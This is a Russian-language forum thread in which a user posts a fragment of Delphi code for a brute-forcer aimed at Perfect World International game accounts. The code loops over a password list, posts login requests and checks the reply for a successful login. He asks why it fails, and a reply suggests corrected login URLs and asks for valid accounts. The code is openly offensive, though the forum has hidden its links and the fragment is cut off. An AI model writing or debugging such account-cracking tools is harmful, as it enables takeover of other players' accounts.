Один косяк.

[D_R]

Привет всем!Решил написать простенький брут для PWI :d ,но вот проблема в чем, когда нажимаю брутить у меня все логины и пароли пишет не правильный,даже свои пробовал написать всё равно...у меня не получается написать p.Text:=Id[Ссылки могут видеть только зарегистрированные и активированные пользователи]('[Ссылки могут видеть только зарегистрированные и активированные пользователи]', info); незнаю чем ловить эту ссылку и т.д

Вот кусочек кода от брута


procedure TForm1.Button1Click(Sender: TObject);
var
i:integer;
info:Tstringlist;
p:Tstringlist;
begin
info:=tstringlist.Create;
p:=tstringlist.Create;


for i:=0 to Memo1. Lines.Count-1 do

begin
info.Add('log='+Edit1.text);
info.add('pwd='+Memo1.Lines.Strings[i]);
p.Text:=Id[Ссылки могут видеть только зарегистрированные и активированные пользователи]('[Ссылки могут видеть только зарегистрированные и активированные пользователи]', info);
if pos('logot', p.Text)>0 then
begin
Memo2.Lines.Add(Memo1.Lines.Strings[i]+'пароль верный');
break;
end
else
begin
Memo2.Lines.Add(Memo1.Lines.Strings[i]+'пароль НЕ верный');


Из за этого кода не получается брутить p.Text:=Id[Ссылки могут видеть только зарегистрированные и активированные пользователи]('[Ссылки могут видеть только зарегистрированные и активированные пользователи]', info);

Может кто подскажет,объянит :bayan:Буду очень благодарен.

[4ipolino]

Привет всем!Решил написать простенький брут для PWI :d ,но вот проблема в чем, когда нажимаю брутить у меня все логины и пароли пишет не правильный,даже свои пробовал написать всё равно...у меня не получается написать p.Text:=Id[Ссылки могут видеть только зарегистрированные и активированные пользователи]('[Ссылки могут видеть только зарегистрированные и активированные пользователи]', info); незнаю чем ловить эту ссылку и т.д

Вот кусочек кода от брута


procedure TForm1.Button1Click(Sender: TObject);
var
i:integer;
info:Tstringlist;
p:Tstringlist;
begin
info:=tstringlist.Create;
p:=tstringlist.Create;


for i:=0 to Memo1. Lines.Count-1 do

begin
info.Add('log='+Edit1.text);
info.add('pwd='+Memo1.Lines.Strings[i]);
p.Text:=Id[Ссылки могут видеть только зарегистрированные и активированные пользователи]('[Ссылки могут видеть только зарегистрированные и активированные пользователи]', info);
if pos('logot', p.Text)>0 then
begin
Memo2.Lines.Add(Memo1.Lines.Strings[i]+'пароль верный');
break;
end
else
begin
Memo2.Lines.Add(Memo1.Lines.Strings[i]+'пароль НЕ верный');


Из за этого кода не получается брутить p.Text:=Id[Ссылки могут видеть только зарегистрированные и активированные пользователи]('[Ссылки могут видеть только зарегистрированные и активированные пользователи]', info);

Может кто подскажет,объянит :bayan:Буду очень благодарен.

может потому што у тебя по сылке
Ooops! 404 Error Page.

Sorry we cannot find the webpage you have requested.

Please check the URL again or return to our home page.

[Ссылки могут видеть только зарегистрированные и активированные пользователи]
:pandal:
вот нормальная
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
или
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
п.с дай пару валидных акков (для теста), буду вместе с тобой учить дельфи =D